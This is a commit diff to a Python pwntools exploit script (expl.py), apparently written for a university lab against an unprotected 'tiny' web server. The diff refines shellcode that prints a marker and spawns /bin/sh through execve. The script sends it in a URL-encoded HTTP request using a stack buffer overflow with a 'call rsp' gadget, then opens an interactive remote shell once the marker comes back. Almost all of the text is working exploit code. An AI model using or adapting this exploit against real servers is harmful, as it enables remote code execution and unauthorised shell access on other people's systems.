final versin of tiny-no-protection remote shell exploit

Author: robalb

shenfeng/expl.py

@@ -34,9 +34,9 @@ def run_expl():
     shellcode_payload = f"""
 
       {c("----------------------------------------")}
-      {c("This block is just to test the socket IO")}
+      {c("print a marker string to test the socket")}
       {c("----------------------------------------")}
-      mov rax, 0x6161616161616161
+      mov rax, 0x343262696d696e75 {c("string unimib24")}
       push rax
       push rsp
       pop rsi      {c("pointer to the string")}
@@ -75,13 +75,13 @@ def run_expl():
       mov rax, 0x0068732f6e69622f {c("string /bin/sh")}
       push rax
       push rsp
-      pop rdi {c("pointer to the string")}
+      pop rdi       {c("pointer to the string")}
 
-      mov rax, 0x3b   {c("execve syscall")}
+      mov rax, 0x3b {c("execve syscall")}
       push 0
       push rsp
-      pop rsi         {c(" *const *argv")}
-      mov rdx, rsi    {c(" *const *envp")}
+      pop rsi       {c(" *const *argv")}
+      mov rdx, rsi  {c(" *const *envp")}
       syscall
     """
 
@@ -90,11 +90,11 @@ def run_expl():
     print(shellcode_bytes)
 
     # buffer overflow
-    padding_size = 0x230 # tiny no-protections
+    padding_size = 0x230       # tiny no-protections
     expl = b''
     expl += b'a'*padding_size
-    expl += b'b'*8        # overwrite rbp
-    expl += p64(0x4283fb) # gadget: call rsp;
+    expl += b'b'*8             # overwrite rbp
+    expl += p64(0x4283fb)      # gadget: call rsp;
     expl += shellcode_bytes
 
     #url encode all the bytes that would block the http parser
@@ -110,11 +110,14 @@ def run_expl():
     out = p.recvuntil(b'File not found')
     print(out)
 
-    print("--- exploit out---")
-    #out = p.clean(timeout=1)
-    #print(out)
-    # p.close()
-
-    p.interactive()
+    good_omen = p.recvuntil(b'unimib24', timeout=1)
+    if not good_omen:
+        print("exploitation failed")
+        out = p.clean(timeout=1)
+        print(out)
+        p.close()
+    else:
+        print("remote shell started! type a command")
+        p.interactive()
 
 run_expl()